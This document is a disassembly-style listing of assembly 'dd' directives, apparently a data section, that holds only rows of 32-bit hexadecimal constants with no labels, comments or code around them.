		dd 0FD2ECC8Eh, 0DC1A33D5h, 39D573A6h, 143ADEA6h, 1ADDBDD5h
		dd 1EFA4C6Dh, 0C151C907h, 26C20D25h, 39C20D0Eh,	25F1534Eh
		dd 0DB1730D3h, 36D437BEh, 1F3BDDAEh, 5A7CCFD4h,	1FF951B9h
		dd 0C0C3C83Ch, 27C12022h, 0D57B0A6Fh, 0AD652E3Eh, 74BA186Ch
		dd 3673F30Bh, 39393B3Bh, 0E7BFB6Bh, 0E22BDB2Eh,	2200530Bh
		dd 25A0CB71h, 43D7DA39h, 1A2C328h, 620BAD9Fh, 34D447DAh
		dd 0B9636E94h, 1E6335E8h, 102DE01Ah, 6DF74877h,	33A52300h
		dd 76780279h, 777629A0h, 0BBEC77ADh, 0EFB63A6Fh, 28372635h
		dd 7FB6324Dh, 1B79B7C2h, 9477F614h, 0A863256Eh,	69AFE424h
		dd 0D4D5142Ch, 5A112DD3h, 236CBC69h, 8D22DD67h,	2F273C2Bh
		dd 1B6A47B8h, 1E963E03h, 28A87D3Ch, 7E30722h, 0A96DC021h
		dd 1BEA042Fh, 2D9242Ah,	0B0AD30F0h, 26D13C3Eh, 0BE39BF7Eh
		dd 0F51F1FB9h, 79249C16h
		dd 272A6483h, 0EBABD3CEh, 29EBA32Eh, 0D1D82E06h, 0F38C37F1h
		dd 93D03432h, 0D538B8F6h, 9FDC3BBEh, 201FE114h,	2523CAA5h
		dd 34242659h, 0B1B0819h, 711F031Dh, 66037801h, 0B8076805h
		dd 0EC0BFC09h, 0B0FCD0Dh, 5C2F2B2Dh, 0E3138811h, 0C017C515h
		dd 661BDD19h, 431C4B1Eh, 0F800B502h, 0DB026707h, 0F90F680Ch
		dd 7F081F09h, 0C22AD22Dh, 526DCC27h, 48388427h,	7527DA54h
		dd 6A290C32h, 20309261h, 6934F539h, 0BD894B35h,	3E4D5158h
		dd 0AF15A43Dh, 21557B1Eh, 7A25A3A3h, 444DE74Bh,	545C4849h
		dd 305210DEh, 47435F12h, 392CC836h, 3D3C0B70h, 1F1B1B3Ch
		dd 8C7D2AFEh, 0A4A70F42h, 4A04602Fh, 70861CDh, 3E6E49C5h
		dd 0B81F1174h, 60D6B8DDh, 0D4673CF9h, 5983FD3Ch, 303E7AFCh
		dd 412393C8h, 0C0973526h, 0B5C207AEh, 4E262F4Ch, 7760B10Dh
		dd 57D700BFh, 7BECC668h, 0FF8EB85Dh, 151D9814h,	0A9E923D5h
		dd 26CCAFF2h, 0FD0AFAD0h, 0FB26C408h, 16A5202Eh, 0DFBEE130h
		dd 2939A4BAh, 1A1D4CE0h, 1DDDC8B4h, 0C2E110F4h,	26F72833h
		dd 93C8F626h, 0EF6A02Ah, 12E3D8C4h, 0E83F33EAh,	111C5BBDh
		dd 0B03CE639h, 3E8F20A2h, 83457F0Eh, 20834E2Ah,	0E934C7A6h
		dd 7E7A7A28h, 5EEF59C5h, 54963262h, 9F67263Dh, 2E9F972Bh
		dd 0DEB4BE62h, 9E454042h, 0C0C00E4h, 74798C4Fh,	60D62937h
		dd 0AC65C6CCh, 650219DCh, 33F2F463h, 513B3918h,	3C3E2E9Eh
		dd 1D9C5A59h, 7622203Dh, 2E0627A2h, 0AB4B2B27h,	2D2D0828h
		dd 31B0115Fh, 48363416h, 3A1F3BB6h, 0BFB13FBFh,	1E1C3C3Ch
		dd 0A7239E84h, 0A482230Ah, 2A280E25h, 3D2FAA9Ch, 0F5332F04h
		dd 351F30B3h, 0B8EA7535h, 0B66C1739h, 707AEE78h, 464F4C4Ch
		dd 7B73144Dh, 69542C4h,	1C432A58h, 535F202Ch, 25358221h
		dd 0D036554Ah, 0BF396A55h, 0E93612F9h, 7F83217Eh, 0A87A672Fh
		dd 0AC72F56Ah, 2EBA497Eh, 8F2B4F70h, 93723B21h,	36F6F958h
		dd 1FCED168h, 0E32FAD70h, 113C0C7Bh, 3251337Eh,	0A6B5CC3Fh
		dd 0B2D3924h, 0C62C2C3Bh, 405ED82Bh, 0F0BE0C37h, 0EEC86668h
		dd 2EFF0018h, 1D136270h, 212F1F11h, 2A242C8Dh, 290A8C26h
		dd 1F2C3B25h, 18130C22h, 63663F52h, 20013CA6h, 7DB4324Eh
		dd 8A2BFEBDh, 60EC6C1Ch, 28566221h, 8037AACh, 0B292848h
		dd 342F0FCDh, 642B3071h, 39375C04h, 122A6B73h, 6D353CBDh
		dd 7381EC6Dh, 3B0191E1h, 0B9CE7076h, 206A58A8h,	0EAA52B2Ch
		dd 31D9DABBh, 0C87B3FBFh, 589AA2D0h, 18267425h,	1E0E57C4h
		dd 94C936FFh, 62D313A3h, 2B210C27h, 0C67B255Fh,	32D93822h
		dd 0F0B4F531h, 563DFA69h, 34323D3Bh, 9DC11D3Eh,	0FC261937h
		dd 233FC450h, 22E87ECFh, 86CC9A72h, 66C13FA5h, 8AB38DBFh
		dd 0DBB9C8CBh, 623F7BFEh, 9A9B8760h, 1DA003D8h,	2B232D7Eh
		dd 27272925h, 7B2B2C29h, 0B0236EADh, 7CCFBB2h, 9899C4F5h
		dd 0CB337A39h, 0CAB477ECh, 1DEC1DECh, 7C22B18Eh, 0E677A1A9h
		dd 7329AF28h, 0A46B634Eh, 720E156Ch, 443F053Ah,	12311144h
		dd 12B575FDh, 0DE4C1DCAh, 80493411h, 74260537h,	3299FDD8h
		dd 4BAC5D07h, 0C3622ECFh, 7CB522Dh, 0B3723A3Ah,	793C4D3Ah
		dd 1EE498C0h, 4F069811h, 1DC42392h, 11C9F3DAh, 0EC9D2727h
		dd 6A6DA52Dh, 15F033B1h, 383827F4h, 3ABE826Dh, 38670D7Ch
		dd 0B0B4ED0Dh, 4E33223Ch, 83417738h, 6C093FD6h,	45702DAFh
		dd 38379221h, 97654866h, 33260C3Ah, 143F3133h, 0E01E1A1Ch
		dd 0FB863468h, 0E73367D5h, 3D732F28h, 37EA42EFh, 1316B5BDh
		dd 6732B595h, 0FBE9C66Dh, 32FF0531h, 1EA01D1Ah,	7473711Dh
		dd 0C72700CBh, 0D2AABF65h, 0B3A8232Ah, 0B235F0A8h, 0C906B54Dh
		dd 0FA93BD38h, 8245BCB2h, 8E31A3Dh, 0AE159F7Ah,	396567A2h
		dd 30EB89A7h, 2F460FA6h, 0F5B32E2Eh, 0F3BFB336h, 393CF568h
		dd 3D54743Bh, 4373C054h, 211F5D8Eh, 24824621h, 0A1437621h
		dd 282B220Ch, 0B93E2E7Ch, 24371645h, 0D81F30F2h, 7AFC3C39h
		dd 0DA0B3C2Ch, 0C590901Dh, 23202122h, 370261E3h, 2B702938h
		dd 0B61AB918h, 70068404h, 1800334h, 0CC40E18h, 7E063D12h
		dd 0BE256523h, 1B211027h, 1D671F36h, 2AD8134Eh,	110810h
		dd 790D0F13h, 0A4C0833h, 73B04E1h, 7A00382Eh, 20EA1D2Fh
		dd 213B210Ah, 831AB01Ch, 0AD8EE18h, 0ADF124ABh,	7D3FAE2Fh
		dd 6112E2F7h, 0D16A11E5h, 3D3B0B83h, 0A703272Eh, 1A2E18h
		dd 2ECB42FEh, 0DA5C042Eh, 0ADF220Fh, 633C4413h,	3D7112B4h
		dd 6B257475h, 0E6A92953h, 0F36E036Dh, 2F040F4Eh, 364C0790h
		dd 0A3CE0396h, 0E22A8D88h, 6EE6A67Ah, 331A60F0h, 0F596DD30h
		dd 6B1A3DFCh, 4E56846Ah, 20F5513Bh, 225A6008h, 2E5A552h
		dd 95EB5545h, 0EFD226D7h, 78936EB2h, 0F511F0B0h, 3A31A871h
		dd 0D2BC2F66h, 9EC05BF3h, 7224DE1Eh, 16277577h,	0A8089ED0h
		dd 0A0EC2B7Ah, 671C0B52h, 55C6D50h, 4BBCAF5Eh, 8D6D2983h
		dd 3867833Fh, 0D0021EF5h, 8421224Ch, 0F42B5672h, 0EC5EAB62h
		dd 64FE022Fh, 35636311h, 0AC55AB0Dh, 0CD10A87Fh, 6E6BBB38h
		dd 0E02ED22h, 200223C1h, 29A9E514h, 0B3829C8h, 456A382Ch
		dd 2031912Dh, 0AAB4225Eh, 3F5AEC36h, 2B3FDD0Dh,	5C0E9339h
		dd 0CEB9A0FDh, 24450349h, 5A282DC6h, 0DE2C9E29h, 6211320Ah
		dd 5C378714h, 72B1681Ah, 8E7518A7h, 9DDBF33Fh, 20139E70h
		dd 12723A2h, 0C13C2427h, 0B52D083Fh, 0D9342E08h, 3417F633h
		dd 3C3BA01Eh, 2ADCD6D2h, 0E4393E0Eh, 0C8191C7Bh, 682203F8h
		dd 2C4F8401h, 0E4C32D28h, 0F0172C1Eh, 35076331h, 0B83DE3Dh
		dd 3D0C3238h, 0BBD71A34h, 0B11A1C2Fh, 707A19Bh,	0ADD9D8A0h
		dd 2BBDA668h, 2FA0A52Fh, 0A476BB32h, 0F920B5ACh, 383AAFB0h
		dd 47253DD4h, 15F6E3E6h, 2210DA77h, 0FEF53144h,	4220A227h
		dd 686FA924h, 6F6F132Fh, 60358BB8h, 3AC6E2B4h, 0A3396BA6h
		dd 1A1EC0BFh, 685F5B3Bh, 5A041020h, 632F2788h, 5207BE3Ah
		dd 1B372D60h, 3515524Dh, 5A516531h, 3D733A52h, 594B3F26h
		dd 21531C1Dh, 25232224h, 6033EABFh, 2CCB2229h, 31212F2Dh
		dd 3435333Ah, 3BE7343Dh, 3C843939h, 0D7FB038h, 1E1F7700h
		dd 582262E5h, 3BE2A68Ch, 0B6EEC2Bh, 0BB2E7271h,	637CD119h
		dd 0CAF33165h, 0F4B97618h, 37B3FC3Dh, 5E396092h, 6277A2F7h
		dd 2F058D03h, 2EE7682Bh, 5F79250Bh, 0DA63390Eh,	0D3B796C8h
		dd 2D61393Fh, 0C13E3C7Ah, 0CA400E7Fh, 21AB1E1Ch, 61A4AE0Ah
		dd 0A5A51302h, 1B2C930Eh, 53B37E3Ch, 23B55F5Ah,	3B2DC864h
		dd 0B82D3B1Eh, 912A4AFEh, 2F1E3D99h, 4C736E21h,	0C02A2761h
		dd 0AC93605Ah, 7FAFA062h, 7B33A4BBh, 6A664265h,	0B43375BDh
		dd 44D77D4Eh, 1E261F2Ch, 2A562040h, 263060E2h, 244BA5C1h
		dd 28EC23EEh, 732E15B4h, 6765211Eh, 0EBFB3E8Ah,	3333B662h
		dd 0BE1614F8h, 0C9C9E800h, 21F627C3h, 1E322A87h, 272AEF2Eh
		dd 36E537EBh, 5E5FF709h, 1A964C36h, 68B93332h, 0D1D4F91h
		dd 0BB10F30h, 300EB370h, 0A28ED607h, 0DDD1A8C2h, 3130A32Fh
		dd 0ECB0031h, 0BBBC38D9h, 553F3BAAh, 31943F97h,	0A294EBB3h
		dd 581D7235h, 21536601h, 4CB9A1A9h, 0C8A4629Dh,	83BA1C23h
		dd 28DF32D5h, 0E138DC4h, 5B339E09h, 6A1E12CCh, 2BE4A22Eh
		dd 0A53BCD72h, 0D339EAD1h, 0C4AAC57Fh, 0D8323192h, 71BF7D2Ch
		dd 8B7CB428h, 4DD66D38h, 6D1C1D0Bh, 0DF20B275h,	652E32C2h
		dd 25115E1Eh, 0B12D2321h
		dd 0AF680F67h, 0F90B1570h, 5E07E209h, 0B1024804h, 1D238100h
		dd 2121BF1Fh, 26244723h, 191B1708h, 1D6E1B16h, 16A1F7Ch
		dd 5420353h, 804061Eh, 0C770A7Fh, 2D400E6Ah, 11862F7Ch
		dd 168213FFh, 1B7E14D3h, 1FAC19A8h, 5091DF7h, 0B7560768h
		dd 215774B5h, 4F575B5Fh, 1B62BF58h, 3D3E203Ch, 3005205h
		dd 46517E34h, 762B0B5Bh, 89AF252Ch, 68313132h, 346B5111h
		dd 3FDE3C3Ch, 163E9C14h, 7D35191Bh, 5040561Fh, 4227240Ah
		dd 104AA844h, 4D425F0Bh, 7B403044h, 57440E45h, 2DD9B521h
		dd 5D2ADDB0h, 35F09828h, 0C071BA5Fh, 75356D81h,	68C08346h
		dd 45647B22h, 0AB937C36h, 0AF874019h, 3D9834B1h, 3B56A19Ah
		dd 1E713E54h, 0E17BFD5Ah, 2B8D23F4h, 4585BCA1h,	1F106267h
		dd 991CEEEDh, 0F4008702h, 204FD06h, 0FE0F700Dh,	250A0409h
		dd 0A828872Ah, 8214EB16h, 26119C13h, 0FE12A110h, 0DB16C614h
		dd 33084608h, 37357535h, 383A9D39h, 7220AEFh, 26D4247Eh
		dd 1B071909h, 1F7E1D6Ah, 13AF1145h, 3A761588h, 62252C91h
		dd 0EBC52703h, 1213C47h, 79403CF3h, 1C1C25BFh, 1525346Ah
		dd 60953400h, 265DEEA3h, 38FC267Ah, 302DBDD6h, 63633F51h
		dd 0D16D0F65h, 0AD7DFBD8h, 9DF9DE7Ah, 277F1FDBh, 30DDA363h
		dd 8A2624B5h, 3DEDDAA0h, 3CCF3D1Bh, 46C33643h, 0D052E431h
		dd 0D9800C00h, 43B482Ch, 2C67122Fh, 13A92AC8h, 741A4525h
		dd 8A56639h, 0D92C7D22h, 631AF087h, 36A68C3Bh, 3A9B3669h
		dd 0D7926D01h, 0BE037C45h, 2685ED47h, 2475E437h, 0C9EE7852h
		dd 276BEB16h, 0B1353023h, 8E30F94Bh, 1A193937h,	18D53E3Bh
		dd 99535AF7h, 0A128193Ah, 8234323h, 250CABABh, 0ED2D6B4Dh
		dd 61048F1Ch, 1530B15Ah, 0B959D347h, 19B0B02Ch,	9C1A9F2Ah
		dd 643D9329h, 0CC732181h, 3D2F4640h, 282376BCh,	0F0542673h
		dd 1499DB23h, 3AA7CC3Dh, 3C34F639h, 1B303E32h, 1F111D13h
		dd 2C222EDFh, 28262A24h, 242A2628h, 202E222Ch, 333DCE30h
		dd 3739353Bh, 3B353937h, 3F313D33h, 11E21C14h, 2D212F1Fh
		dd 0A6642B23h, 65433A45h, 6B4D2F41h, 225BB007h,	0DE65C5B8h
		dd 3A50B81Bh, 6811F8B8h, 59DBD3B4h, 21603B5Eh, 46CCB26h
		dd 2DFA69F0h, 5C447A2Ah, 11D678AFh, 0FF7AB352h,	53BF732h
		dd 0D567518h, 165B669Eh, 37751035h, 0A0022861h,	0FC71B6Bh
		dd 0E8C32B11h, 668D2EEFh, 0DC3132F0h, 0B674C7E9h, 0DD6A0BB9h
		dd 0D7D73D3Dh, 0FCAC1DFEh, 0CB362520h, 0C726C798h, 0C32F29CBh
		dd 2FCCA080h, 0C2BD113Eh, 0ABDE3334h, 79839CAh,	0D7393DC8h
		dd 741DEE97h, 6C120EBh,	83D62C02h, 0D7F2BDCFh, 2D47D30Bh
		dd 587142C7h, 0D794F0B2h, 4FFA0374h, 6674582Dh,	59A13DBFh
		dd 0DE1431Fh, 1B274BC2h, 6B055964h, 0A4DFBB05h,	1FF1FA32h
		dd 4097F009h, 29BA38FEh, 5D0138BBh, 1A195B3Dh, 0DF1F9255h
		dd 243C223Eh, 2838263Ah, 2C342A36h, 30302E32h, 2B332D2Eh
		dd 27372935h, 563B3A39h, 233F56C2h, 1E1E5EA2h, 23228044h
		dd 0AE427520h, 0A82E290Dh, 7936C124h, 5937A371h, 233E5F7Bh
		dd 0E97B3C52h, 0CEB53A56h, 17184C03h, 23E5C84Dh, 0EE204C77h
		dd 1BC8C006h, 0ACDCC40Ch, 7F1DB17Eh, 263C3124h,	0D28E3932h
		dd 8D244CC5h, 197439C7h, 2161400Fh, 46E4F443h, 0C19CFA57h
		dd 81787831h, 365FF98Eh, 24007320h, 0D1683056h,	1E3B5774h
		dd 196A54D6h, 16731A4Dh, 261B3223h, 1972ACD6h, 2E1FC92Bh
		dd 982D1865h, 61FC3AE9h, 0BC1B3407h, 3E0D1E21h,	0B03D0675h
		dd 6A1C2F61h, 2BD21FB1h, 6116B5E6h, 0A9C214ABh,	0A42FED1Eh
		dd 5EF3B038h, 0A8746625h, 536A1ED8h, 4B684901h,	7B6D651Bh
		dd 444F4940h, 6665A44Ch, 2A282127h, 2E2F2CD4h, 0F0E2C4DEh
		dd 0E9653D33h, 3B39FA97h, 363DE633h, 39001AA7h,	3320FDEEh
		dd 2D24FA8Eh, 2961F1F2h, 2DCF2136h, 31ECC73Ch, 0E4A6F73Ah
		dd 0D1BE2B36h, 683D323Ah, 59EBE530h, 215AAE1Ch,	913B5E90h
		dd 3234736h, 2CAE357Bh,	0C82FABDDh, 353332B4h, 3BA383E3h
		dd 0A94B9F39h, 1A7F1E3Eh, 34B41CFEh, 0A66321A5h, 27A36924h
		dd 812AAC7Fh, 422EA84Eh, 0B64A31B5h, 37B3B634h,	39DAB782h
		dd 0BC3F3D2Bh, 4C972115h, 0CB29E19Ch, 6E3B2438h, 2B09089Fh
		dd 0A086FF3Ch, 69DB465Ch, 0B4653AB3h, 34B28E39h, 2E3CB83Eh
		dd 0D1E9B95h, 17300D88h, 27943323h, 265E992Eh, 0AD6E2922h
		dd 0F31CAE2Bh, 3DFF603Ah, 6E20BA76h, 7C0BCF52h,	4B8C301Ch
		dd 2C4E1E2h, 0A7432E2Eh, 56AE27DAh, 34DB3CCAh, 3D6DF151h
		dd 396D27BCh, 16E71824h, 0A915EB69h, 48733A13h,	3B6A572Ch
		dd 23CBAA48h, 5958A873h, 0C32E64A5h, 345EFB6Ah,	0DADA4E10h
		dd 6716C46Dh, 2A1AA6E8h, 9F7A3E3Dh, 7B599022h, 12F0327Fh
		dd 0C6464170h, 2AA96527h, 0AC9ECC66h, 0B259442Fh, 45B5504Fh
		dd 5F4A3737h, 32BD494Ah, 717D72B7h, 4F416F7Eh, 76855346h
		dd 4E5983A6h, 0E86C4444h, 584A9E0Eh, 0F5645546h, 0D8D07737h
		dd 0C278C4DAh, 401B9E73h, 204F4F48h, 0D9CB063Dh, 0E0AC2725h
		dd 0C42F28DDh, 33EF0A2Bh, 0DC1F33D0h, 32C8D2E4h, 643BBAC6h
		dd 50D73A98h, 0E01EE2C0h, 27E5A266h, 27D9DBA5h,	81582A28h
		dd 530A99A7h, 6DDAB031h, 3637F5D7h, 73CFE2Ch, 2BD42B3Dh
		dd 11642E64h, 30987F08h, 242EE034h, 2F3EA928h, 0C62E2C8Bh
		dd 20F9A2CFh, 5B34B6E0h, 0B8FF2E33h, 8724783Ah,	1981ABDh
		dd 20A232B2h, 8525A233h, 2888B80Dh, 0CCEFE5A1h,	0A131EF27h
		dd 5F305925h, 533D5D38h, 725628BAh, 1F713C54h, 43738ADh
		dd 962264Bh, 5643Bh, 0E4A02E7Fh, 3007ACDDh, 36E4DA35h
		dd 0FE363667h, 856D6A3Dh, 0DB4E4C55h, 0DFC6F59Ah, 0C366D02Bh
		dd 0C56B0125h, 218A75ACh, 5F5E271Ch, 0FF32D446h, 7F965640h
		dd 54481F59h, 8EDD87ECh, 0F853ED1Ch, 2221E1AEh,	75647427h
		dd 0F797B25h, 7D78292Bh, 0B050626Ah, 5F474333h,	0BB3AC843h
		dd 77BD3D09h, 717D6D51h, 56A37B77h, 12A45724h, 7A2F2E74h
		dd 3AE647Eh, 76B02BA8h,	6A1E469Ah, 0F93413B6h, 393CC427h
		dd 0B41F338Ch, 8E55B275h, 60332A61h, 0ED37A82Dh, 1541599h
		dd 3CC3AF2Dh, 34126871h, 1C83BDE8h, 0F397A25h, 0F60C12E6h
		dd 42DF97DCh, 6D7661E4h, 0EEA33514h, 1B1FAD27h,	4A7D0D1Fh
		dd 5A443142h, 62165057h, 4D385856h, 5D5FEC9Ch, 14107977h
		dd 4723A11Ah, 6F6CEB03h, 2A1C0774h, 231E1C05h, 5C5E7325h
		dd 0DB554031h, 4A406C1Ah, 1E3D065Eh, 69647E4Bh,	21547731h
		dd 2F294F4Fh, 0D885576h, 3FC86E93h, 24BB3A3Eh, 0C63092FEh
		dd 343CBC9Dh, 6939F986h, 977D2F1Ah, 42DF0B59h, 807AE20h
		dd 3841A4C5h, 0A6928082h, 14932BCFh, 35D25303h,	813A2BCh
		dd 3A5B3AD9h, 7B1B3AB1h, 0E07610FCh, 21442220h,	7979658Fh
		dd 0E83AEDABh, 282FA70Fh, 33DEB030h, 35363335h,	1C3A803Ah
		dd 6A6DFD0Fh, 935F4B4Dh, 96AAB31Fh, 2C253007h, 2B822AD4h
		dd 0A91A120h, 0BA31323Fh, 0B718BF31h, 3BC65044h, 2A3137B3h
		dd 9D1A1A3Bh, 71760B99h, 2A1C03DDh, 26282826h, 222C242Ah
		dd 3E30202Eh, 353B3C32h, 39373739h, 0C2F47B1Fh,	0C55BFB1Bh
		dd 0B8A71F1Fh, 0A12EF3D1h, 25FBFB83h, 0AB8513D8h, 0C2E721FDh
		dd 0C9557030h, 7DBCFA34h, 0BC74A1F1h, 0D83DEEBCh, 0F6D25091h
		dd 0B72370FDh, 0AA6625FAh, 29C3ED65h, 0A4202DFAh, 0DB62F175h
		dd 7B36349Dh, 76B7FA61h
		dd 0AFDD4E0h, 1C4D6A1Ah, 192F5B69h, 0CF416427h,	6A2BB605h
		dd 2CBBC567h, 10D80428h, 2A3236BDh, 3D3BBEDEh, 407FD53Fh
		dd 4DEC433Dh, 2A904EF6h, 77265203h, 4D744F76h, 457D1F0Ch
		dd 0F34A13C6h, 3324FB1Dh, 9B57656h, 0EDD45274h,	37AA384Eh
		dd 0E61DF631h, 0B2A922B1h, 782426B1h, 0BFADA021h, 897F228Dh
		dd 0D509AEF4h, 8C50FC5h, 0AF311B3Ah, 57D73D34h,	1F1D66F3h
		dd 2022B121h, 6D142624h, 0C118F61Ah, 1C222D1Eh,	2C0223h
		dd 6236060Ah, 0BF095F0Bh, 3F0DAD0Fh, 2A332816h,	16751454h
		dd 55114C23h, 801DA913h, 1AC02C1Fh, 72B04D1h, 0C350119h
		dd 740F3B02h, 3E0BA50Dh, 5C792C26h, 0B010C309h,	0B4652222h
		dd 0C9294DF4h, 0C5E2A07Ah, 0C529AF57h, 7F1D3297h, 9C58B656h
		dd 0FEA839C9h, 0D3F02DDh, 0C843369Dh, 0A03032E9h, 0AD7F29FEh
		dd 99492996h, 61632A7Fh, 649E6335h, 3C670331h, 0BD6739CBh
		dd 9E3C620Fh, 771D1D90h, 15232D20h, 1F061784h, 7B284304h
		dd 0C7E0A6BCh, 0B801F105h, 3734F0DCh, 512E1D74h, 6EE50E3Dh
		dd 97D3975Bh, 62BD0483h, 0E724332Bh, 0E7A2D824h, 0BE09A8EDh
		dd 3332300Fh, 3C7708DBh, 0E2BD0F9h, 8EC2861Ah, 1D50903Eh
		dd 0A844133Ah, 7B20232Fh, 3DECA426h, 2C2C1BE8h,	157C3FA3h
		dd 0B934F52Eh, 57D03636h, 3DB83B90h, 85D33806h,	401E5E1Dh
		dd 2EE30813h, 282CB641h, 462B16E5h, 18472ED2h, 353371AAh
		dd 38379751h, 4B3B6A3Dh, 10D0172Ah, 1F111663h, 0DC295E41h
		dd 588E784Ch, 98215423h, 2454BAF6h, 4532D393h, 37D7A63Fh
		dd 0BD8C324Dh, 344B3DFEh, 691DCE62h, 22D14914h,	592E5B4Ch
		dd 5429272Ch, 2552A720h, 48C7A114h, 0D0328FA5h,	0B3C538C7h
		dd 0EC775A0Bh, 125B343Ah, 2E20101Eh, 252BDC22h,	29272729h
		dd 2D232B25h, 313F2F21h, 3A4B333Dh, 1E383836h, 1C58BA74h
		dd 2E6F9E70h, 215E2666h, 172B6147h, 94C671C8h, 140F7A6Dh
		dd 5D7FE616h, 477D205h,	2F2D7636h, 0B532DDF8h, 38C56D5Fh
		dd 1426059Dh, 633681FFh, 25FF3DA0h, 33AB4E47h, 0CFEFA53Eh
		dd 0F200D13Eh, 5D6CF37h, 0F919E698h, 6D1CE41Fh,	0AE4F3A57h
		dd 0AF0B6C95h, 32877602h, 0EB1B48E4h, 0F4A617CBh, 1302EF1Ch
		dd 39351462h, 35393737h, 613D333Bh, 1D131B30h, 21291F11h
		dd 8ED4B642h, 0C528A68Ah, 7E2F2BAEh, 595A797Bh,	0D7DDDB43h
		dd 0A8B9335Ch, 2D49AA0Ah, 0F51EF932h, 0C91D3AADh, 0A333345h
		dd 29EC2BAFh, 16F01985h, 314CE5AFh, 23313330h, 0DAE720D4h
		dd 0BCF4642Fh, 5C04A200h, 9D7F3D2Ch, 67B60F61h,	27C4F3CDh
		dd 0C9E4C0ECh, 0C67AF12Ch, 8D32D5F6h, 0D78035D0h, 538E8138h
		dd 51321CCAh, 171C102Dh, 80282491h, 8A25C6A5h, 222D56CEh
		dd 842DC85Dh, 1232D441h, 3E11607Eh, 32FBEE96h, 6E6F2AABh
		dd 42C9ED7h, 6E271546h,	459AB23Dh, 7ED9ACF7h, 0AC4D95A9h
		dd 0B53FD028h, 0A339A379h, 42AB307h, 9901F66Bh,	0CBE4DFAEh
		dd 0AAF74696h, 353323A7h, 7C879B16h, 0FAEB5h, 61BD2DCDh
		dd 3402FFBAh, 35DF46B8h, 9DA0E29h, 0E6BDD64Dh, 0DF9A1B9Ch
		dd 33B7A52Fh, 24D61427h, 0CAF0C16Fh, 1C6FADC8h,	0E368A7D8h
		dd 0F1347613h, 72D2380Ah, 4BB63C38h, 1C59A9F3h,	1314C801h
		dd 4E72AC22h, 0E13FFA87h, 2B123AC3h, 0A236351Bh, 49254B2Bh
		dd 3E260727h, 2B22C44h,	219327B0h, 254A1633h, 8CB4CBAAh
		dd 0E9AD2B24h, 0CD210A5Eh, 0B821A426h, 351B2C22h, 0C23FDC36h
		dd 39C93AC5h, 0E31FC07Eh, 0DF1BE119h, 1827D625h, 2CD88ED5h
		dd 37B028D6h, 2A620953h, 7913AA70h, 751DC720h, 1FC9149Dh
		dd 38CFC170h, 1FFEEA51h, 0CC6F004Dh, 6A0625C5h,	32FE822h
		dd 0CFB55561h, 8C7F1532h, 7A1D6255h, 23DBC47Bh,	277322E7h
		dd 0C1D5456h, 0A3026D11h, 0D0682334h, 494B48C2h, 4B2D456Fh
		dd 4B37E02Eh, 36880972h, 3A5F3937h, 5B4F7F3Ah, 78687A3Fh
		dd 424F6D4Eh, 56572347h, 952A2767h, 682C2A2Ah, 5F515F56h
		dd 355A7656h, 564A5E40h, 53595654h, 68484BBEh, 4771776Fh
		dd 25235621h, 9722731h,	2D0B1D28h, 52E081Fh, 61153310h
		dd 1E163715h, 3D1A1B38h, 23E1E23h, 121F3B79h, 50282001h
		dd 26279F84h, 74EBD903h, 3D2EEB2Fh, 233B23C0h, 3821273Bh
		dd 813A3638h, 0BAB3B268h, 9C64BC2Fh, 714C7068h,	0DEB57375h
		dd 0A8253A9h, 4E64A2CBh, 32515A0Fh, 36362C2Eh, 1F9B8842h
		dd 0BB35573Dh, 19621AFFh, 7E2E2A9Ch, 10A51952h,	782B5843h
		dd 1C05E3A1h, 0B044C72Ch, 29C47741h, 0D9A1362h,	0D5290E2Ah
		dd 186C2C5Dh, 715F42BCh, 24A768ACh, 0E8A4702Ch,	0DC43A269h
		dd 601E2E18h, 7633E1CEh, 7F48B635h, 56414F14h, 57B23E3Eh
		dd 4E480938h, 0DF2434DFh, 4E220624h, 0F6EEF7Eh,	2F0E2F07h
		dd 32321D34h, 27368DDCh, 23FEBA3Bh, 0AD4A4D3Ch,	0CA300890h
		dd 0AB21721Eh, 0A1476CB7h, 3237C8A6h, 310E447Bh, 3F35926Fh
		dd 36E20AB2h, 0B73E7C38h, 3AB0AE2Fh, 1DBECA2Bh,	70A4968Ch
		dd 0A8A678DCh, 69242C22h, 0E5252B4Ah, 81242F8Fh, 65B8B8BBh
		dd 0B4983494h, 0BE381B26h, 6BBB655Fh, 0CB63742Ah, 260321B6h
		dd 2B602409h, 2E06281Dh, 0B01B2F0Ch, 3406168Dh,	38383714h
		dd 0C3C457BCh, 3F63B5C2h, 947801DCh, 0A31A05B4h, 267A252Bh
		dd 0F6618AAh, 7E3E470Ch, 33543363h, 3734194Eh, 3BB35F39h
		dd 0B6101968h, 1F67385Fh, 1B633E3Fh, 0FFAEDBD9h, 36C228E6h
		dd 2529CDEAh, 0FDF1BBF6h, 0FE06EC30h, 3A2FF904h, 0B2B03C77h
		dd 6CEA9A35h, 0F0209499h, 0E431C9E3h, 23232CC7h, 0E718ABFBh
		dd 0BC642CE8h, 17343CBEh, 0B255AA57h, 7DD3FAC3h, 4415FE2Eh
		dd 0E6114ECAh, 156E0AE7h, 1249981h, 7C799E38h, 71D0074Ch
		dd 0C3C91B52h, 57E035DAh, 0EDED3910h, 328910BEh, 4D8F7F97h
		dd 0C440D63h, 752DB785h, 0FB0EBDA3h, 87E7C39h, 63604930h
		dd 0B776148Ch, 6E3B7938h, 1F6CDCCBh, 5B4F181Bh,	6E21704Bh
		dd 7276306Ah, 7B652477h, 7E74782Bh, 1711752Fh, 7B303450h
		dd 494A2C5Eh, 0AE5C2369h, 7A6E7A21h, 204D6A32h,	4387F299h
		dd 5D0820E6h, 0CD1D3FE9h, 637F7FB1h, 1E985266h,	3F38FB36h
		dd 0D188036Ah, 0C08B3A60h, 681E561Ch, 6E6B2481h, 0C6F235Dh
		dd 71D7622Fh, 1B830A29h, 10312230h, 501333A5h, 58DB2A38h
		dd 4F373EA8h, 19023919h, 277ECD6Ah, 26B28B00h, 2A742A20h
		dd 3D2E2C25h, 793A3018h, 33323414h, 0F401C3Dh, 533A5594h
		dd 0E4C3EABh, 6D131436h, 24FED423h, 0E55A526h, 45F6717h
		dd 927533CFh, 49BC631h,	5C0291Dh, 3C89B711h, 7236743Dh
		dd 460A7034h, 0D60C0B08h, 352F1783h, 83DE2C1Ah,	2116AFDBh
		dd 55103442h, 13D04533h, 1D3892A2h, 52963B9Eh, 0F6F71A14h
		dd 742F3A92h, 222ECE74h, 242F6BF5h, 5A0A282Ch, 1771582Ch
		dd 520333F5h, 392B6811h, 0B31B449h, 192C6019h, 0C2CAAA38h
		dd 69560426h, 0B2C22674h, 0E2A52B6Dh, 42A3D974h, 13725D34h
		dd 6B235B18h, 7E0B309Ch, 0C8E214BAh, 0C2F7DF4Ah, 65A5A931h
